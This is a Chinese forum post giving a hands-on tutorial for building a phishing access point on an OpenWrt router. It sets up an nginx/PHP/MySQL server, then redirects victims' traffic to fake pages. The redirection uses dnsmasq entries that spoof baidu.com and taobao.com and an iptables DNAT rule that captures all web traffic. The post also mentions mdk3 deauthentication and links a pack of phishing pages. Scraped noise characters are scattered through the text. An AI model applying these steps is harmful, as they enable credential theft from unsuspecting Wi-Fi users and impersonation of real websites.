上校
- 注册时间
- 2009-10-11
- 金币
- 14196 个
- 威望
- 2 个
- 荣誉
- 1 个
累计签到:1700 天 连续签到:1 天 [LV.1825]无线元老
|
本帖最后由 476867546 于 2016-3-10 17:33 编辑
5 G, S! Y* O5 a
. V3 {5 `" l, v% X Openwrt 无线路由器搭建php服务器实现钓鱼.8 Z$ C* y- K' n
本人也是小白,都是在网上找的资料.已成功搭建钓鱼环境,现分享给大家.教程只演示不带USB口的.#无线路由器刷Openwrt要求16M闪存.带USB接口或不带都行(带的网址放U盘里.不带的放路由器目录里)
0 |3 }) [3 V. g; m' f( ^1 q1 y' t% j+ M5 b
准备工作:/ C: t) d' k1 _' ?( M, l* ~; }- q
winSCP连接路由在/www下建立一个sda/www文件夹5 a; o; Q- O" }/ ^. c, P
- h1 [# d3 |. B+ d- k" G1.安装nginx+php+mysql6 L9 C$ L) S- t. m" T. ?) I6 L: K$ k
9 s8 n$ N: r) Z- m# v3 S, D# f* G
进路由里修改openwrt安装源如下:9 ]9 V. F/ F6 ~
dest root /
3 c4 s0 _0 p" S" X# vdest ram /tmp, X& L9 e/ K4 e
lists_dir ext /var/opkg-lists9 K( Q9 D2 \8 f; z8 p. j: m7 \& R
option overlay_root /overlay( F h0 N c6 G; G% x% I q2 r5 Q5 T
src/gz chaos_calmer_base http://downloads.openwrt.org/cha ... neric/packages/base& Q6 o$ d! h+ a6 s; M) s) f
src/gz chaos_calmer_packages http://downloads.openwrt.org/cha ... c/packages/packages5 b" M' S- S( Y' L$ t
src/gz chaos_calmer_routing http://downloads.openwrt.org/cha ... ic/packages/routing
0 a. ^$ f" C3 l* u4 \# Ssrc/gz chaos_calmer_telephony http://downloads.openwrt.org/cha ... /packages/telephony
( z/ ?: \7 q) \: Qsrc/gz chaos_calmer_management http://downloads.openwrt.org/cha ... packages/management: [" O) b& T6 D& m) [( Y/ r( C+ _2 t
打开putty终端更新并安装软件.
1 k4 A7 A1 e1 X& ~- t( x7 Q4 V6 topkg update
0 }1 J& G7 s* H, M5 Nopkg install php5 php5-mod-gd php5-mod-session php5-mod-pdo php5-mod-pdo-mysql php5-mod-mysql php5-mod-mcrypt php5-mod-mbstring php5-fastcgi php5-cgi php5-mod-xml php5-mod-ctype php5-mod-curl php5-mod-exif php5-mod-ftp php5-mod-iconv php5-mod-json php5-mod-sockets php5-mod-sqlite3 php5-mod-tokenizer php5-mod-zip( A6 ~6 {/ f# S# \% Z5 D$ J
' i4 U" X e- B% {) S* _2 H( _2 C6 Xopkg install mysql-server
; A$ u( ~9 L: B5 c/ I5 t
P- n) ?% ]' R5 H6 N; ]opkg install nginx spawn-fcgi zoneinfo-core zoneinfo-asia; q% S6 A1 n. f. S B5 g9 w1 b$ E0 ?
7 u& Y- |6 K: N$ \, Q
opkg install shadow-groupadd shadow-useradd# ~2 |+ c. B( g3 X4 e/ Q' ?
8 Q& j$ m0 X. I1 V% a
groupadd www @' s. i! e+ ~( |2 J& u. E
) P; D) L9 @: d) q( y- {, S
useradd -g www www
# l$ a3 D0 L: d, y8 J1 \1 Q; e9 ]4 x9 O2 u- u. f7 D$ s
chown -R www:www /www/sda/www重启!( R" r0 A% \8 F9 l# C% B4 N7 l* s
winSCP连接路由修改/etc/my.cnf(改掉这两段)
- ~9 ?* ^$ Q. Edatadir = /www/sda/data/mysql// A; s$ \& s* T- {# |8 b( Z ^; s4 \
tmpdir = /www/sda/data/tmp/
% E u3 y9 w. t# o3 V- I' {. R
: `% `9 g/ D0 N0 Y; [% z
' W9 ?( |$ f6 r9 v; ?创建数据库文件夹, `+ w4 z$ Z1 e4 E
mkdir -p /www/sda/data /www/sda/data/mysql /www/sda/data/tmp
4 k8 |: P" p- @* B! S+ z6 b7 m7 p" H
创建默认的数据库
4 T; n# r/ F1 G9 @& \$ T" A/usr/bin/mysql_install_db --force0 A @; W( K' p2 j+ B9 p
( E$ e8 }# S3 ~1 p+ P启动mysql3 P6 }# [8 T, ~( j& l4 J6 D0 u! T: R
/etc/init.d/mysqld start
% c/ Y* B$ o, F$ ^3 [ \输入如下命令创建mysql的密码
) z9 |& m \$ L/usr/bin/mysqladmin -u root password 123456% ~' r$ Q7 O: t
登陆数据库& ~' ?" ^, B$ C/ s8 s
mysql -u root -p
( L3 u z/ ]) W7 C6 V' Y! T6 [1 e) `+ ?
修改/etc/nginx/nginx.conf. I g; u) R6 `6 B, R. ~
user www www;
, O( s1 ^5 x, ?1 x& S# _! N! m: h vworker_processes 1;5 v3 U# _6 Q! l+ h# |( C0 _4 h+ T. \
pid /var/run/nginx.pid;
+ z" V p3 J: J) \$ W* \error_log /var/log/nginx_error.log;# O- s7 X3 i# a3 g# W f
events { c8 y8 g& ^9 I1 E- N
use epoll;" P4 w( v! g) {4 F6 W
worker_connections 1024;+ m5 v3 ~, N4 y
}* t6 _6 [ d5 r3 w: ~* {2 C$ a
/ O' E5 _: d* H3 ]! D$ ~- i* T+ b, Y4 n$ c- ?
http {2 c0 s" v; o' S8 t4 @; C9 H
include mime.types;5 `% n t) R# v
default_type application/octet-stream;" T/ G# {6 q$ ~0 D; c( W
sendfile on;
7 [* H: W8 U6 _- y tcp_nopush on;
( m0 d) c4 c7 `' `6 j" U #keepalive_timeout 0;/ V; e6 ` ]. A
keepalive_timeout 65;9 Q+ G( N# j! ]. f: Z9 I
gzip on;# p/ Q) d6 E+ }2 [6 o. L( G
access_log off;( n# N' H& D2 a8 Z9 A( E, i
- S7 `2 n: p; u
include vhost.conf;! I: r* }+ p( M2 s' @
}! n+ q" T- Y/ `; g0 V! \8 u% u
3 k5 | }. H( \, h2 g# ~' Z修改/etc/nginx/fastcgi_params
( z- [% O! y3 o, iif ($request_filename ~* (.*)\.php) {
: ~8 W* f2 f, p+ M1 y set $php_url $1;
1 e# M5 d/ a$ K. B- o% p- g2 ?- c% {}
3 @- G' M" b5 _3 Pif (!-e $php_url.php) {0 a! [; j" u4 t, }
return 403;
5 k6 @: A+ E2 Z8 d}
% I8 H6 |$ q/ h! f) v' O! K/ ` o2 I/ `+ C- n( y+ l
) L" B. F1 B' v
fastcgi_param QUERY_STRING $query_string;
( o$ r! P, K x8 y( Z9 Hfastcgi_param REQUEST_METHOD $request_method;1 L, M/ M2 m4 \4 I, R
fastcgi_param CONTENT_TYPE $content_type;
' z. }( }8 b1 A7 a1 H. D/ dfastcgi_param CONTENT_LENGTH $content_length;; o1 X3 C7 P, m3 I! T
* k9 s+ l% S, P6 g8 h
: a/ T; g8 O0 `5 d- i/ P& afastcgi_param SCRIPT_NAME $fastcgi_script_name;0 f: q+ _7 r& f+ O' g
fastcgi_param REQUEST_URI $request_uri;( Y! A6 n# y8 N* m1 A6 K/ {
fastcgi_param DOCUMENT_URI $document_uri;
$ u, w3 H$ Y4 K9 M5 W3 nfastcgi_param DOCUMENT_ROOT $document_root;
1 t9 `: w- u0 o% zfastcgi_param SERVER_PROTOCOL $server_protocol;' `3 {: A" r. ^5 h% Q+ Z: _& p! u
' A/ e: b; N! p) y# T7 T
( c4 m$ L: j9 vfastcgi_param GATEWAY_INTERFACE CGI/1.1;
6 Q$ @+ _7 e: D- k9 a7 ]4 efastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
% i, ^+ |. x# g. Q) G$ Z0 i4 O E
' @" f% E$ J7 T" n3 l3 s* afastcgi_param REMOTE_ADDR $remote_addr;
# v" N& [3 W# X& D8 a, bfastcgi_param REMOTE_PORT $remote_port;
7 z, z3 \1 L- M6 bfastcgi_param SERVER_ADDR $server_addr;
1 `6 ]# Z( F% t$ a* Rfastcgi_param SERVER_PORT $server_port;
/ t( {1 U4 u9 ?! |: G- {8 a2 jfastcgi_param SERVER_NAME $server_name;
! O6 m4 W5 ^$ p& Q. z
+ ^1 _ k f, G. U- p: O( o& |% r6 I6 h" D
# PHP only, required if PHP was built with --enable-force-cgi-redirect% O8 f% h* W: H8 c+ r
fastcgi_param REDIRECT_STATUS 200;
+ |1 r+ N4 a, I) g3 U; q7 j5 ?+ {2 H8 I0 v/ y& o+ E6 G
添加文件/etc/nginx/vhost.conf
6 B5 D+ c! g& e5 P% Gserver {6 A5 `7 K w/ H; h3 f; F
listen 8000;( h$ m& c1 B$ k# Y0 d* Q' N
server_name localhost;
! [, ~- O- ]- B& ~ root /www/sda/www;* ?9 V* t3 n8 [2 D
index index.html index.htm index.php default.php;. q# F+ o% T) B2 J
error_page 500 502 503 504 /50x.html;+ L# s I$ L# q$ J' D
# f/ |/ N4 Z: l5 f9 J
* _( U! G! j2 \. \' [7 f location = /50x.html {
. I' h; t; w% ]. P5 H root html;- i- w$ q. N% ^& \7 M0 {6 U; a
}
8 t1 j" m- o9 E+ G2 E
2 h6 O/ H' W% [1 q
5 u) T% C2 q7 a: q6 q; P: x location ~* ^.+\.php(\/.*)*$ {% Q9 U! U4 ?" V' c. S
fastcgi_pass 127.0.0.1:9000;
% P5 z, q* B! @! g! C& z fastcgi_index index.php;
3 G: _4 ^6 F" u5 T! `- r fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
! e* w' _3 [( F include fastcgi_params;! Y, M$ p( i. ?2 n1 d v# x: n
}4 D8 K5 E, ~" U1 @1 r
}
; r! c! B% j! _$ g! u0 x
" {: k. N2 u, Z5 J. c' l( I& N" q修改/etc/php.ini$ X. L% C8 {" b% u. e) q# ` |
short_open_tag = on7 n9 U* b! D" @0 d2 ?* j7 H- P
#doc_root = "/www/www"
0 v8 ` i' k: B4 `% T; R# w- f1 ]% r
6 r5 f/ m" r2 G2 M% {extension=ctype.so* J# m) D+ A; }; W8 e
extension=curl.so% z" W8 c9 I. q3 ]: y, I
extension=gd.so
' `3 q- Z1 ^. {! r" h, gextension=mbstring.so/ Z, }- D- K8 u' l5 t+ A
extension=mcrypt.so
6 D. |0 T* J1 w& D7 }extension=mysql.so
3 q! Z" M' i8 o" Oextension=pdo.so
2 d" ] m3 b1 i+ C6 e+ G* uextension=pdo_mysql.so
, j; N# i- n1 d _: M. j) C. Yextension=session.so
" U0 o: L" z/ b* h o ~extension=sockets.so# N/ H, l' L! p' q! u
extension=tokenizer.so
2 \& M/ }8 u( i5 X6 nextension=xml.so* V1 [/ u. T* F' e8 U) _7 i# Q
9 W$ M2 @; _3 ]# p
" k0 p0 L( d) P[Date]4 {; D4 ]; \9 n( q+ C- {2 o: X# O7 k
date.timezone = Asia/Shanghai
& b% R' w( E4 ]: _/ L! Y O/ j1 R0 a& |; S* ?
' E; x8 ?* y x9 d6 c' E9 |
[MySQL]
, d6 w- e3 x9 r* ^5 G9 Fmysql.default_socket = /var/run/mysqld.sock - X, e: G( Y" A4 g* n# \! Z
3 m! o7 }# B3 b d6 Q% ]# H. {启动spawn-fcgi(开机自动运行,将命令添加到/etc/rc.local)
: j3 E- d/ @# y7 l; z1 C: x( s/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 2 -f /usr/bin/php-cgi
) G& B$ w0 @8 \+ @+ ]
* ?6 Z1 {+ G1 X5 D启动nginx9 `/ y1 f! `4 g" _" D
/etc/init.d/nginx enable m5 N U8 s; k9 G7 ?$ r8 G3 s$ ~
/etc/init.d/nginx start; ~( k$ P4 \' R- @& c1 U8 I' L, Z
5 K7 C+ Q0 I2 D' F6 i; Z2 b; R E
php服务器搭建完成重启.
; I! K- X8 C2 b% [) W/ q9 e# c9 P# e2 }把钓鱼网页放入/www/sda/www目录里.在浏览器输入192.168.1.1:8000打开页面.(能打开就成功一半了~_~ )
1 f/ Q0 F7 X' R* o, a5 t0 C( D
% G- U1 d( W# U) I- U: I9 C9 H: T0 M- t+ X( l1 |, ~ y# u
2.网页跳转(有2种方法)& m' K# r7 B: }; I( @
1DNS跳转+ f8 c' P+ \" m6 }0 W
2防火墙重定向
! C$ z ~% O5 C$ f* P1 dns跳转9 m1 }3 u$ h! X D& ~ e
修改etc/dnsmasq.conf(需要输入对应网址才跳转)
' k( {1 b& M" w% Q X+ Aaddress=/www.baidu.com/192.168.1.1
( t7 S; \! H. q) ], W" A+ |address=/www.taobao.com/192.168.1.11 I3 w8 e% a; ~- w& |, R
2 防火墙重定向(需要联网才跳转)) h! s* f( |/ O. Y$ D! j# [
修改防火墙自定义规则:
* D% M! l- q1 z+ Y$ M& z. viptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.1.1:80
- h4 B+ g* M2 {9 S" Q9 M最后修改/etc/nginx/vhost.conf 端口为80
0 y, ?0 C0 |" f' S0 F/ G
% F- X, w+ ^) J* g B3 m& l# e: h
) L& V' _) ^# `) D
2 x( L, H" w+ N% q; p1 V. h
9 U" a- W' m0 [/ |8 z重启后打开baidu网页即跳转6 Q; Y* G2 C5 Q I; L ] q
% A k9 k3 D5 Q M y
2 w- v* s* b/ x8 x! X- b% u
7 d+ C2 j. `! O( }( J- S1 d1 M3 k1 B5 w( N5 A
使用samba映射www文件夹查看MM
$ d" M+ ^+ z) E. ]; Z p" d$ n2 ^6 @7 N2 b' h" h
有usb口就插个网卡进行mdk3.....
% t4 i8 i' [( Y, J' {1 c
/ ?4 `1 E4 Q# ^% U4 z4 A
7 Q# w: ]. w: _' `9 I" {* ~+ y; N# `; s/ t
5 m7 O9 a: F0 L7 T
7 b' R& z4 Q/ b! Z% r7 [9 p* A9 i( X9 a' _: A3 C9 d
# t$ c7 H, A& b$ L, n$ W
& s8 h+ R x. n& p
8 U) z. L1 `$ X0 Z) k; V补充内容 (2017-6-25 20:19):$ W; k9 z* v: P1 K1 R( f
钓鱼页面下载 http://pan.baidu.com/s/1o8BK7Ui
8 g% X* r* l: T T |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
x
评分
-
1
查看全部评分
-
|